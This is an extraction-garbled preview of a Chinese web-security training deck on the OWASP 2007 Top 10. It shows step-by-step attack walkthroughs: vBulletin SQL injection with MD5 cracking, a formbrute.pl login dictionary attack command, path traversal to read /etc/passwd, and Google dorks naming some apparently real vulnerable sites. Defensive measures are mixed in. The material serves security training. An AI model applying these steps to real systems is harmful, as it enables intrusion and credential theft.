Web應(yīng)用安全培訓(xùn)教程_第1頁(yè)
Web應(yīng)用安全培訓(xùn)教程_第2頁(yè)
Web應(yīng)用安全培訓(xùn)教程_第3頁(yè)
Web應(yīng)用安全培訓(xùn)教程_第4頁(yè)
Web應(yīng)用安全培訓(xùn)教程_第5頁(yè)
已閱讀5頁(yè),還剩165頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、1Web應(yīng)用安全應(yīng)用安全張曉峰張曉峰2015-102目錄目錄 Web Web對(duì)象直接引用對(duì)象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七3WebWeb來(lái)源于來(lái)源于World Wide WebWorld Wide Web,WebWeb系統(tǒng)是系統(tǒng)是InternetInternet的重要組成部分,的重要組成部分,形形色色的形形色色的WebWeb系統(tǒng)正在改變著我們的生活:系統(tǒng)正在改變著我們的生活:網(wǎng)上購(gòu)物網(wǎng)上匯款交費(fèi)寫(xiě)博客Web小游戲競(jìng)選網(wǎng)上營(yíng)

2、業(yè)廳Web豐富了我們的生活豐富了我們的生活4作為一種新型的市場(chǎng)渠道,網(wǎng)上營(yíng)業(yè)廳能夠?yàn)橛脩?hù)提供方便快捷的服務(wù),能夠作為一種新型的市場(chǎng)渠道,網(wǎng)上營(yíng)業(yè)廳能夠?yàn)橛脩?hù)提供方便快捷的服務(wù),能夠降低實(shí)體店鋪的成本,因此在各大運(yùn)營(yíng)商市場(chǎng)戰(zhàn)略中占有重要的位置。近年以降低實(shí)體店鋪的成本,因此在各大運(yùn)營(yíng)商市場(chǎng)戰(zhàn)略中占有重要的位置。近年以來(lái),網(wǎng)上營(yíng)業(yè)廳的安全問(wèn)題越來(lái)越受到大眾的關(guān)注,主要可以劃分成來(lái),網(wǎng)上營(yíng)業(yè)廳的安全問(wèn)題越來(lái)越受到大眾的關(guān)注,主要可以劃分成4 4個(gè)方面:個(gè)方面:Web安全的意義安全的意義工信部工信部網(wǎng)上營(yíng)業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進(jìn)入網(wǎng)上營(yíng)業(yè)廳如果被不法分子攻陷,那么可能以此為跳板進(jìn)入

3、運(yùn)營(yíng)商的支撐網(wǎng)甚至核心網(wǎng)絡(luò),造成大面積通訊故障。運(yùn)營(yíng)商的支撐網(wǎng)甚至核心網(wǎng)絡(luò),造成大面積通訊故障。 普通用戶(hù)普通用戶(hù)網(wǎng)上到處叫賣(mài)的個(gè)人通話(huà)詳單查詢(xún)服務(wù)已經(jīng)對(duì)老百姓的隱私網(wǎng)上到處叫賣(mài)的個(gè)人通話(huà)詳單查詢(xún)服務(wù)已經(jīng)對(duì)老百姓的隱私造成了極大的破壞。移動(dòng)集團(tuán)一直就很重視客戶(hù)信息保密的造成了極大的破壞。移動(dòng)集團(tuán)一直就很重視客戶(hù)信息保密的問(wèn)題。問(wèn)題。 運(yùn)營(yíng)商運(yùn)營(yíng)商網(wǎng)上營(yíng)業(yè)廳代表了企業(yè)對(duì)外的形象,每天訪問(wèn)用戶(hù)數(shù)以萬(wàn)計(jì),網(wǎng)上營(yíng)業(yè)廳代表了企業(yè)對(duì)外的形象,每天訪問(wèn)用戶(hù)數(shù)以萬(wàn)計(jì),如果出現(xiàn)頁(yè)面篡改、甚至網(wǎng)頁(yè)掛馬事件,對(duì)企業(yè)形象是巨大如果出現(xiàn)頁(yè)面篡改、甚至網(wǎng)頁(yè)掛馬事件,對(duì)企業(yè)形象是巨大損失。損失。 運(yùn)營(yíng)商運(yùn)營(yíng)商網(wǎng)上營(yíng)業(yè)廳涉及

4、充值交費(fèi)等交易業(yè)務(wù),容易吸引不法分子的網(wǎng)上營(yíng)業(yè)廳涉及充值交費(fèi)等交易業(yè)務(wù),容易吸引不法分子的眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經(jīng)濟(jì)利眼球。如果利用安全漏洞造成交易欺詐,損害企業(yè)的經(jīng)濟(jì)利益。益。 5WebWeb系統(tǒng)逐漸成為企業(yè)安全邊界之一系統(tǒng)逐漸成為企業(yè)安全邊界之一防火墻加固O(píng)SWeb服務(wù)器應(yīng)用服務(wù)器防火墻數(shù)據(jù)庫(kù)歷史遺留系統(tǒng)Web Services文件目錄人力系統(tǒng)計(jì)費(fèi)系統(tǒng)定制的應(yīng)用程序應(yīng)用層應(yīng)用層攻擊僅僅使用網(wǎng)絡(luò)層的防護(hù)手段僅僅使用網(wǎng)絡(luò)層的防護(hù)手段 ( (防火墻防火墻, SSL, IDS, , SSL, IDS, 加固加固) ) 無(wú)法阻止或檢測(cè)到應(yīng)用層攻擊無(wú)法阻止或檢測(cè)到應(yīng)用層攻擊網(wǎng)絡(luò)

5、層應(yīng)用層應(yīng)用層作為安全邊界的一部分,或許應(yīng)用層作為安全邊界的一部分,或許有巨大的漏洞有巨大的漏洞6而而WebWeb系統(tǒng)的安全性參差不齊系統(tǒng)的安全性參差不齊復(fù)雜應(yīng)用系統(tǒng)代碼量大、開(kāi)發(fā)人員多、難免出現(xiàn)疏忽;系統(tǒng)屢次升級(jí)、人員頻繁變更,導(dǎo)致代碼不一致;歷史遺留系統(tǒng)、試運(yùn)行系統(tǒng)等多個(gè)Web系統(tǒng)共同運(yùn)行于同一臺(tái)服務(wù)器上;開(kāi)發(fā)人員未經(jīng)過(guò)安全編碼培訓(xùn);定制開(kāi)發(fā)系統(tǒng)的測(cè)試程度不如標(biāo)準(zhǔn)的產(chǎn)品;客戶(hù)滿(mǎn)意界面友好操作方便處理性能實(shí)現(xiàn)所有功能架構(gòu)合理代碼修改方便運(yùn)行穩(wěn)定沒(méi)有bug不同模塊低耦合相對(duì)安全性而言,相對(duì)安全性而言,開(kāi)發(fā)人員更注重開(kāi)發(fā)人員更注重系統(tǒng)功能!系統(tǒng)功能!開(kāi)發(fā)進(jìn)度與成本開(kāi)發(fā)者的關(guān)注點(diǎn)開(kāi)發(fā)者的關(guān)注點(diǎn)7定

6、制開(kāi)發(fā)的定制開(kāi)發(fā)的WebWeb應(yīng)用應(yīng)用 = = 企業(yè)安全的阿基里斯之踵企業(yè)安全的阿基里斯之踵 “目前,目前,75% 的攻擊發(fā)生在應(yīng)用層的攻擊發(fā)生在應(yīng)用層” Gartner, 2006“2006年前年前9個(gè)月內(nèi)新發(fā)現(xiàn)個(gè)月內(nèi)新發(fā)現(xiàn)4,375 個(gè)漏洞個(gè)漏洞. Web漏洞是其中漏洞是其中最普遍的三類(lèi)之一最普遍的三類(lèi)之一.” Mitre Corp, 09/2006,CVE的維護(hù)者“產(chǎn)品的定制開(kāi)發(fā)是應(yīng)用安全中最薄弱的一環(huán)產(chǎn)品的定制開(kāi)發(fā)是應(yīng)用安全中最薄弱的一環(huán)”. Gartner, 09/2005“到到2009年年, 80%的企業(yè)都將成為應(yīng)用層攻擊的受害的企業(yè)都將成為應(yīng)用層攻擊的受害者者”. Gartner

7、, 20078WebWeb攻擊場(chǎng)景攻擊場(chǎng)景攻擊動(dòng)機(jī)攻擊動(dòng)機(jī)攻擊方法攻擊方法攻擊工具攻擊工具系統(tǒng)漏洞系統(tǒng)漏洞防范措施防范措施攻擊面(attack surface)Web服務(wù)器黑客9Web攻擊動(dòng)機(jī)攻擊動(dòng)機(jī)常見(jiàn)常見(jiàn)WebWeb攻擊動(dòng)機(jī)攻擊動(dòng)機(jī) 惡作?。?關(guān)閉Web站點(diǎn),拒絕正常服務(wù); 篡改Web網(wǎng)頁(yè),損害企業(yè)名譽(yù); 免費(fèi)瀏覽收費(fèi)內(nèi)容; 盜竊用戶(hù)隱私信息,例如Email; 以用戶(hù)身份登錄執(zhí)行非法操作,從而獲取暴利; 以此為跳板攻擊企業(yè)內(nèi)網(wǎng)其他系統(tǒng); 網(wǎng)頁(yè)掛木馬,攻擊訪問(wèn)網(wǎng)頁(yè)的特定用戶(hù)群; 仿冒系統(tǒng)發(fā)布方,誘騙用戶(hù)執(zhí)行危險(xiǎn)操作,例如用木馬替換正常下載文件,要求用戶(hù)匯款等; 常用的掛馬常用的掛馬explo

8、itMS07-017 MS Windows Animated Cursor (.ANI) Remote ExploitMS07-019MS07-004 VML Remote Code ExecutionMS06-073MS06-071 XML Core Services Remote Code ExecutionMS06-068MS06-067MS06-057 WebViewFolderIcod ActiveXMS06-055MS06-014 MDAC Remote Code ExecutionMS06-013MS06-005MS06-004MS06-00110Web攻擊方法攻擊方法常見(jiàn)常見(jiàn)W

9、ebWeb攻擊方法攻擊方法 Google hack 網(wǎng)頁(yè)爬行 暴力猜解 Web漏洞掃描 錯(cuò)誤信息利用 根據(jù)服務(wù)器版本尋找現(xiàn)有的攻擊代碼 利用服務(wù)器配置漏洞 文件上傳下載 構(gòu)造惡意輸入(SQL注入攻擊、命令注入攻擊、跨站腳本攻擊) HTTP協(xié)議攻擊 拒絕服務(wù)攻擊 其他攻擊點(diǎn)利用(Web Services, Flash, Ajax, ActiveX, JavaApplet) 業(yè)務(wù)邏輯測(cè)試 收集系統(tǒng)相關(guān)的通用信息 將系統(tǒng)所有能訪問(wèn)頁(yè)面,所有的資源,路徑展現(xiàn)出來(lái) URL、口令、數(shù)據(jù)庫(kù)字段、文件名都可以暴力猜解,注意利用工具; 利用Web漏洞掃描器,可以盡快發(fā)現(xiàn)一些明顯的問(wèn)題 錯(cuò)誤可能泄露服務(wù)器型號(hào)版本

10、、數(shù)據(jù)庫(kù)型號(hào)、路徑、代碼; 搜索Google,CVE, BugTraq等漏洞庫(kù)是否有相關(guān)的漏洞 服務(wù)器后臺(tái)管理頁(yè)面,路徑是否可以列表等 是否可以上傳惡意代碼?是否可以任意下載系統(tǒng)文件? 檢查所有可以輸入的地方:URL、參數(shù)、Post、Cookie、Referer、 Agent、系統(tǒng)是否進(jìn)行了嚴(yán)格的校驗(yàn)? HTTP協(xié)議是文本協(xié)議,可利用回車(chē)換行做邊界干擾 用戶(hù)輸入是否可以影響服務(wù)器的執(zhí)行? 需要特殊工具才能利用這些攻擊點(diǎn) 復(fù)雜的業(yè)務(wù)邏輯中是否隱藏漏洞?11Web攻擊工具:攻擊工具:WebScarab特色:HTTP協(xié)議完全可見(jiàn)(可以完全操作所有的攻擊點(diǎn))支持HTTPS (包括客戶(hù)端證書(shū))全程數(shù)據(jù)與

11、狀態(tài)記錄,可隨時(shí)回顧 OWASP=Open Web Application Security Project,OWASP是最權(quán)威的Web應(yīng)用安全開(kāi)源合作組織,其網(wǎng)站上有大量的Web應(yīng)用安全工具與資料。Nokia是其成員之一WebScarab是OWASP組織推出的開(kāi)源工具,可應(yīng)用于一切基于HTTP協(xié)議系統(tǒng)的調(diào)試與攻擊;12訪問(wèn)資源名稱(chēng)GET與POST參數(shù)Referer與User AgentHTTP 方法CookieAjaxWeb ServiceFlash客戶(hù)端Java AppletWeb攻擊面:不僅僅是瀏覽器中可見(jiàn)的內(nèi)容攻擊面:不僅僅是瀏覽器中可見(jiàn)的內(nèi)容PO

12、ST /thepage.jsp?var1=page1.html HTTP/1.1Accept: */*Referer: http:/ en-us,de;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-url-encodedContent-Lenght: 59User-Agent: Mozilla/4.0Host: Connection: Keep-AliveCookie: JSESSIONID=0000dITLGLqhz1dKkPEtpoYqbN2uid=fred&password=secret&am

13、p;pagestyle=default.css&action=login直接可在瀏覽器直接可在瀏覽器中利用的輸入中利用的輸入所有輸入點(diǎn)所有輸入點(diǎn)更多輸入點(diǎn)更多輸入點(diǎn)黑客實(shí)際利用的黑客實(shí)際利用的輸入點(diǎn)輸入點(diǎn)13Web攻擊漏洞:安全漏洞庫(kù)攻擊漏洞:安全漏洞庫(kù)Securityfocus網(wǎng)站的漏洞庫(kù)名稱(chēng)為Bugtraq,它給每個(gè)漏洞編號(hào)叫Bugtraq ID。它的網(wǎng)址為:http:/ Cve是和Bugtraq齊名的漏洞庫(kù),它給漏洞庫(kù)編號(hào)叫CVE ID,它的網(wǎng)址為:/。 CVE與Bugtraq漏洞庫(kù)都會(huì)對(duì)確認(rèn)的漏洞進(jìn)行統(tǒng)一編號(hào),其編號(hào)是業(yè)界承認(rèn)的統(tǒng)一標(biāo)準(zhǔn),有

14、助于避免混淆。在這些漏洞庫(kù)中都可以查到大量的Web應(yīng)用漏洞。14Web攻擊漏洞:攻擊漏洞:2007 OWASP Top 102007年3月, OWASP對(duì)最新的Web應(yīng)用漏洞按類(lèi)別進(jìn)行排名,并將前十名的脆弱性類(lèi)別編制成冊(cè)。/index.php/OWASP_Top_Ten_Project其中前5名與SANS定期更新的Top20榜中Web應(yīng)用脆弱性前5名基本一致。/top20跨站腳本注入惡意代碼引用不當(dāng)CSRF152007 OWASP Top 10:第一名第四名:第一名第四名No.No.漏洞名稱(chēng)漏洞名稱(chēng)簡(jiǎn)介簡(jiǎn)介舉例舉例A1跨

15、站腳本Cross Site Scripting,簡(jiǎn)稱(chēng)為XSS如果Web應(yīng)用沒(méi)有對(duì)攻擊者的輸入進(jìn)行適當(dāng)?shù)木幋a和過(guò)濾,就轉(zhuǎn)發(fā)給其他用戶(hù)的瀏覽器時(shí),可能導(dǎo)致XSS漏洞。攻擊者可利用XSS在其他用戶(hù)的瀏覽器中運(yùn)行惡意腳本,偷竊用戶(hù)的會(huì)話(huà),或是偷偷模擬用戶(hù)執(zhí)行非法的操作;發(fā)帖子,發(fā)消息A2注入Injection Flaws如果Web應(yīng)用沒(méi)有對(duì)攻擊者的輸入進(jìn)行適當(dāng)?shù)木幋a和過(guò)濾,就用于構(gòu)造數(shù)據(jù)庫(kù)查詢(xún)或操作系統(tǒng)命令時(shí),可能導(dǎo)致注入漏洞。攻擊者可利用注入漏洞誘使Web應(yīng)用執(zhí)行未預(yù)見(jiàn)的命令(即命令注入攻擊)或數(shù)據(jù)庫(kù)查詢(xún)(即SQL注入攻擊)。搜索用戶(hù)A3惡意代碼執(zhí)行Malicious File Execution如

16、果Web應(yīng)用允許用戶(hù)上傳文件,但對(duì)上傳文件名未作適當(dāng)?shù)倪^(guò)濾時(shí),用戶(hù)可能上載惡意的腳本文件(通常是Web服務(wù)器支持的格式,如ASP,PHP等);腳本文件在Include子文件時(shí),如果Include路徑可以被用戶(hù)輸入影響,那么可能造成實(shí)際包含的是黑客指定的惡意代碼;上述兩種情況是造成惡意代碼執(zhí)行的最常見(jiàn)原因。上傳附件,上傳頭像A4對(duì)象直接引用Insecure Direct Object Reference訪問(wèn)內(nèi)部資源時(shí),如果訪問(wèn)的路徑(對(duì)文件而言是路徑,對(duì)數(shù)據(jù)庫(kù)而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權(quán)限控制與檢查的話(huà),可能導(dǎo)致攻擊者利用此訪問(wèn)其他未預(yù)見(jiàn)的資源;下載文件162007 OWASP To

17、p 10:第五名第十名:第五名第十名No.No.漏洞名稱(chēng)漏洞名稱(chēng)簡(jiǎn)介簡(jiǎn)介舉例舉例A5 跨站請(qǐng)求偽造Cross Site Request Forgery,簡(jiǎn)稱(chēng)為CSRFCSRF攻擊即攻擊者在用戶(hù)未察覺(jué)的情況下,迫使用戶(hù)的瀏覽器發(fā)起未預(yù)見(jiàn)的請(qǐng)求,其結(jié)果往往損害用戶(hù)本身的利益。CSRF攻擊大多利用Web應(yīng)用的XSS漏洞,也有很多CSRF攻擊沒(méi)有利用XSS而是利用了HTML標(biāo)簽的特性。不明郵件中隱藏的html鏈接A6 信息泄露與錯(cuò)誤處理不當(dāng)Information Leakage and Improper Error HandlingWeb應(yīng)用可能不經(jīng)意地泄露其配置、服務(wù)器版本、數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句、部署路徑

18、等信息,或是泄露用戶(hù)的隱私。攻擊者可利用這些弱點(diǎn)盜竊敏感信息。錯(cuò)誤信息揭示路徑A7 認(rèn)證與會(huì)話(huà)管理不當(dāng)Broken Authentication and Session Management如果Web應(yīng)用的認(rèn)證與會(huì)話(huà)處理不當(dāng),可能被攻擊者利用來(lái)偽裝其他用戶(hù)身份A8 存儲(chǔ)不安全I(xiàn)nsecure Cryptographic Storge如果Web應(yīng)用沒(méi)有正確加密存儲(chǔ)敏感信息,可能被攻擊者盜取。例如攻擊者可能通過(guò)SQL注入手段獲取其他用戶(hù)的密碼,如果Web應(yīng)用對(duì)密碼進(jìn)行了加密,就可以降低此類(lèi)威脅。A9 通訊加密不安全I(xiàn)nsecure Communication如果Web應(yīng)用沒(méi)有對(duì)網(wǎng)絡(luò)通訊中包含的敏感

19、信息進(jìn)行加密,可能被竊聽(tīng)A10 URL訪問(wèn)控制不當(dāng)Failure to Restrict URL Access如果Web應(yīng)用對(duì)URL訪問(wèn)控制不當(dāng),可能造成用戶(hù)直接在瀏覽器中輸入U(xiǎn)RL,訪問(wèn)不該訪問(wèn)的頁(yè)面17OWASP TOP 10,您打算從哪里開(kāi)始?,您打算從哪里開(kāi)始?2345678910118目錄目錄 Web Web對(duì)象直接引用對(duì)象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七192007 OWASP 第第10名:名:URL訪問(wèn)控制不當(dāng)

20、訪問(wèn)控制不當(dāng)舉例:有的Web應(yīng)用對(duì)頁(yè)面權(quán)限控制不嚴(yán),原因是缺乏統(tǒng)一規(guī)范的權(quán)限控制框架,導(dǎo)致部分頁(yè)面可以直接從URL中訪問(wèn),繞開(kāi)登錄認(rèn)證。防范措施:統(tǒng)一規(guī)范權(quán)限控制。A10 URL訪問(wèn)控制不當(dāng)Failure to Restrict URL Access如果Web應(yīng)用對(duì)URL訪問(wèn)控制不當(dāng),可能造成用戶(hù)直接在瀏覽器中輸入U(xiǎn)RL,訪問(wèn)不該訪問(wèn)的頁(yè)面202007 OWASP 第第9名名舉例:網(wǎng)絡(luò)竊聽(tīng)(Sniffer)可以捕獲網(wǎng)絡(luò)中流過(guò)的敏感信息,如密碼,Cookie字段等。高級(jí)竊聽(tīng)者還可以進(jìn)行ARP Spoof,中間人攻擊。防范措施:通訊加密。A9 通訊加密不安全I(xiàn)nsecure Communicati

21、on如果Web應(yīng)用沒(méi)有對(duì)網(wǎng)絡(luò)通訊中包含的敏感信息進(jìn)行加密,可能被竊聽(tīng)Host AHost BRouter A Router B 212007 OWASP 第第8名名舉例:很多Web應(yīng)用將用戶(hù)口令以明文的方式保存,一旦黑客能夠通過(guò)其他漏洞獲取這些口令,就可以偽造他人身份登錄,包括系統(tǒng)管理員。建議:采用安全的算法加密保存口令。下面將舉一個(gè)實(shí)例說(shuō)明A8 存儲(chǔ)不安全I(xiàn)nsecure Cryptographic Storge如果Web應(yīng)用沒(méi)有正確加密存儲(chǔ)敏感信息,可能被攻擊者盜取。例如攻擊者可能通過(guò)SQL注入手段獲取其他用戶(hù)的密碼,如果Web應(yīng)用對(duì)密碼進(jìn)行了加密,就可以降低此類(lèi)威脅。222007 OWA

22、SP 第第8名:名:Case vBulletinvBulletin 以MD5方式保存用戶(hù)口令,然而其2.3.0版本存在一個(gè)SQL注入漏洞,可以通過(guò)此漏洞查詢(xún)管理員密碼的MD5值;Step 1:通過(guò)Google搜索vBulletin 2.3.0的特征,發(fā)現(xiàn)965.000項(xiàng)符合。這是這是Google Hack,后面會(huì)專(zhuān)門(mén)介紹后面會(huì)專(zhuān)門(mén)介紹232007 OWASP 第第8名:名:Case vBulletinStep 2:檢查漏洞頁(yè)面calendar.php能否訪問(wèn)。Step 3:由于該攻擊利用了Union,要求MySQL版本高于4.0,因此通過(guò)下面的鏈接檢查其MySQL版本是否高于4.0。 http

23、:/ OWASP 第第8名:名:Case vBulletinStep 4:注冊(cè)一個(gè)用戶(hù),在首頁(yè)查看自己的ID。252007 OWASP 第第8名:名:Case vBulletinStep 5:通過(guò)下面的鏈接實(shí)現(xiàn)SQL注入攻擊:http:/ OWASP 第第8名:名:Case vBulletinStep 6:訪問(wèn)http:/,輸入MD5值反查密碼為811028?,F(xiàn)在很多Web應(yīng)用已經(jīng)開(kāi)始用MD5算法保存用戶(hù)密碼,然而直接進(jìn)行MD5并非安全算法。右圖的Rainbow表就可以用于反查MD5值。Rainbow表利用了Hellman的存儲(chǔ)-時(shí)間權(quán)衡算法,通過(guò)設(shè)計(jì)一個(gè)大數(shù)據(jù)量的表來(lái)提高反查效率。27防范措

24、施:防范措施:SALT學(xué)習(xí)Unix操作系統(tǒng)采用Salt技術(shù)來(lái)防范rainbow表攻擊。Password隨機(jī)隨機(jī)SaltMD5Base64隨機(jī)隨機(jī)salt+Shadow文件中保存的內(nèi)容文件中保存的內(nèi)容Unix在保存用戶(hù)口令時(shí),會(huì)隨機(jī)生成一個(gè)12字節(jié)的字符串作為salt,然后把salt與口令一起計(jì)算MD5,并將salt與結(jié)果保存在etc/shadow中。驗(yàn)證時(shí)將salt與用戶(hù)輸入口令結(jié)合計(jì)算MD5并與存儲(chǔ)的結(jié)果比對(duì)。282007 OWASP 第第7名名舉例:有的Web應(yīng)用登錄界面允許攻擊者暴力猜解口令,在自動(dòng)工具與字典表的幫助下,可以迅速找到弱密碼用戶(hù)。A7 認(rèn)證與會(huì)話(huà)管理不當(dāng)Broken Aut

25、hentication and Session Management如果Web應(yīng)用的認(rèn)證與會(huì)話(huà)處理不當(dāng),可能被攻擊者利用來(lái)偽裝其他用戶(hù)身份防范措施:圖片認(rèn)證碼,雙因素認(rèn)證29實(shí)驗(yàn)環(huán)境搭建實(shí)驗(yàn)環(huán)境搭建采用VMware 5.0,虛擬兩臺(tái)主機(jī),構(gòu)造一個(gè)虛擬局域網(wǎng)Window 2000 Server模擬Web服務(wù)器IP:Window 2000 Professional已安裝實(shí)驗(yàn)所需的攻擊工具,模擬黑客機(jī)IP:本地機(jī)模擬普通用戶(hù)IP:302007 OWASP 第第7名:名:Case Brute我們將利用一個(gè)簡(jiǎn)單的Perl腳本對(duì)

26、目標(biāo)進(jìn)行字典攻擊;首先設(shè)定Perl運(yùn)行環(huán)境,將bin目錄添加到系統(tǒng)PATH中:學(xué)員練習(xí)學(xué)員練習(xí)10Min312007 OWASP 第第7名:名:Case Brute運(yùn)行perl formbrute.pl,顯示其命令參數(shù)如下:usage: formbrute.pl -U url:網(wǎng)址-m method ( GET|POST ):GET還是POST-u usernameFile:用戶(hù)名字典文件-p passwordFile:密碼字典文件-l loginVariable:Form中用戶(hù)名的變量名稱(chēng)-w passVariable:Form中密碼的變量名稱(chēng)-o otherVariables ( ie:

27、submit=true&login=yes ):其他變量-v proxyServer:代理-f failureString:失敗后返回標(biāo)記-s saveFilename:輸出文件名-h request-headers( ie: Referer:abc&Cookie:ng=omo ):其他HTTP頭數(shù)據(jù)學(xué)員練習(xí)學(xué)員練習(xí)10Min322007 OWASP 第第7名:名:Case Brute啟動(dòng)WebScarab,開(kāi)啟抓包功能。同時(shí)在IE中設(shè)置代理:學(xué)員練習(xí)學(xué)員練習(xí)10Min332007 OWASP 第第7名:名:Case Brute在登錄頁(yè)面輸入用戶(hù)名aaa,密碼bbb,點(diǎn)擊登錄,

28、WebScarab抓到IE發(fā)起的請(qǐng)求如下:POST :80/bbs/Default.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*Referer: /bbs/Accept-Language: zh-cn

29、Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)Host: Content-length: 77Proxy-Connection: Keep-AlivePragma: no-cacheCookie: Snitz00User=; ASPSESSIONIDQCSDTQDT=CFPLNNDAGPEJL

30、CMAJGKGCECA; iscookies=0; BoardList=BoardID=Show; upNum=0Method_Type=login&Name=aaa&Password=bbb&SavePassWord=true&submit1.x=34&submit1.y=17學(xué)員練習(xí)學(xué)員練習(xí)10Min342007 OWASP 第第7名:名:Case Brute由于輸入的是錯(cuò)誤的密碼,頁(yè)面提示:你的用戶(hù)名或者密碼是錯(cuò)誤的.請(qǐng)重新輸入或者注冊(cè)成為新會(huì)員.我們把“錯(cuò)誤”當(dāng)成登錄失敗的標(biāo)志,用formbrute發(fā)起如下命令:perl formbrute.pl

31、 -U /bbs/Default.asp -m POST -u UserList.txt -p PasswordList.txt -l Name -w Password -o Method_Type=login&SavePassWord=true&submit1.x=34&submit1.y=17 -f 錯(cuò)誤 -s result.txt學(xué)員練習(xí)學(xué)員練習(xí)10Min352007 OWASP 第第7名:名:Case Brute結(jié)果輸出在result.txt中:尋找到admin:admin以及test:test兩個(gè)合法登錄!學(xué)員練習(xí)學(xué)員練習(xí)

32、10Min362007 OWASP 第第7名:名:Case Brute題外話(huà):Formbrute代碼非常簡(jiǎn)短,稍加修改就可以完成更多的任務(wù),例如:猜解后臺(tái)管理入口;猜解數(shù)據(jù)庫(kù)字段名;自動(dòng)測(cè)試手工測(cè)試372007 OWASP 第第6名名舉例:錯(cuò)誤頁(yè)面往往泄露系統(tǒng)內(nèi)部敏感信息防范措施: 在所有的運(yùn)行代碼中進(jìn)行規(guī)范的異常處理。 已處理的異常和未處理的異常應(yīng)該始終將提供的可能有助于黑客攻擊的信息減到最少。例如在登錄系統(tǒng)時(shí),不論是用戶(hù)名不存在還是密碼錯(cuò)誤都應(yīng)該提示相同的錯(cuò)誤信息。A6 信息泄露與錯(cuò)誤處理不當(dāng)Information Leakage and Improper Error HandlingWe

33、b應(yīng)用可能不經(jīng)意地泄露其配置、服務(wù)器版本、數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句、部署路徑等信息,或是泄露用戶(hù)的隱私。攻擊者可利用這些弱點(diǎn)盜竊敏感信息。382007 OWASP 第第6名:名:Case 1泄露服務(wù)器Tomcat版本392007 OWASP 第第6名:名: Case 2泄露數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句;泄露數(shù)據(jù)庫(kù)為Oracle;402007 OWASP 第第6名:名: Case 3泄露數(shù)據(jù)庫(kù)為Microsoft SQL Server412007 OWASP 第第6名:名: Case 4泄露數(shù)據(jù)庫(kù)為MySQL422007 OWASP 第第6名:名: Case 5泄露服務(wù)器目錄432007 OWASP 第第6名:名: I

34、E設(shè)置設(shè)置1有的時(shí)候您看到的是如下的頁(yè)面:442007 OWASP 第第6名:名: IE設(shè)置設(shè)置2原因是IE顯示給用戶(hù)的是友好的HTTP錯(cuò)誤,所以需要去掉下面選項(xiàng)的勾:452007 OWASP 第第6名:名: IE設(shè)置設(shè)置3重啟IE后,顯示更多的技術(shù)細(xì)節(jié):46總結(jié)總結(jié)前面簡(jiǎn)介OWASP漏洞排名第10名到第6名的漏洞攻防;接下來(lái)將詳細(xì)介紹第5名到第1名;我們把XSS與CSRF合并在一起介紹,順序如下:Insecure Direct Object Reference:直接對(duì)象引用Malicious File Execution:惡意代碼Injection:注入XSS and CSRF:跨站腳本與跨

35、站請(qǐng)求偽造47目錄目錄 Web Web對(duì)象直接引用對(duì)象直接引用二二三三四四 惡意代碼執(zhí)行惡意代碼執(zhí)行一一 背景背景 注入攻擊注入攻擊五五 跨站腳本攻擊跨站腳本攻擊六六 Google Hack Google Hack OWASP OWASP漏洞攻防漏洞攻防七七48對(duì)象直接引用對(duì)象直接引用 一一A4對(duì)象直接引用Insecure Direct Object Reference訪問(wèn)內(nèi)部資源時(shí),如果訪問(wèn)的路徑(對(duì)文件而言是路徑,對(duì)數(shù)據(jù)庫(kù)而言是主鍵)可被攻擊者篡改,而系統(tǒng)未作權(quán)限控制與檢查的話(huà),可能導(dǎo)致攻擊者利用此訪問(wèn)其他未預(yù)見(jiàn)的資源;下載文件目標(biāo):獲取服務(wù)器的etc/passwd文件方法:Web服務(wù)器一

36、般缺省不允許攻擊者訪問(wèn)Web根目錄以外的內(nèi)容。但是對(duì)Web應(yīng)用卻不做限制,因此操作系統(tǒng)Web應(yīng)用Web服務(wù)器我想看etc/passwdAccess Denied!我想看etc/passwdOK!我想看etc/passwdOK!49對(duì)象直接引用對(duì)象直接引用Step 1. 訪問(wèn)http:/traffic-,這是一個(gè)網(wǎng)頁(yè)瀏覽統(tǒng)計(jì)系統(tǒng),點(diǎn)擊Get stats!鏈接50對(duì)象直接引用對(duì)象直接引用Step 2.右鍵點(diǎn)擊中間的圖片,查看其鏈接屬性:51對(duì)象直接引用對(duì)象直接引用Step 4.您是否觀察到其中file是作為plotStat.php的一個(gè)參數(shù)傳入,那么我們用file指向其他敏感文件試試看:52對(duì)象直

37、接引用對(duì)象直接引用Step 5. 構(gòu)造參數(shù)/./././././././././etc/passwd拿到etc/passwd!53對(duì)象直接引用對(duì)象直接引用Step 6. 進(jìn)一步的攻擊,Google搜索 inurl:download.jsp?file=:54對(duì)象直接引用對(duì)象直接引用下面這些鏈接都可以直接下載網(wǎng)站的源代碼 http:/www.swscreen.co.uk/download.asp?path=/./download.asp http:/webhelp.swu.ac.th/download.asp?file=download.asp http:/ 21:

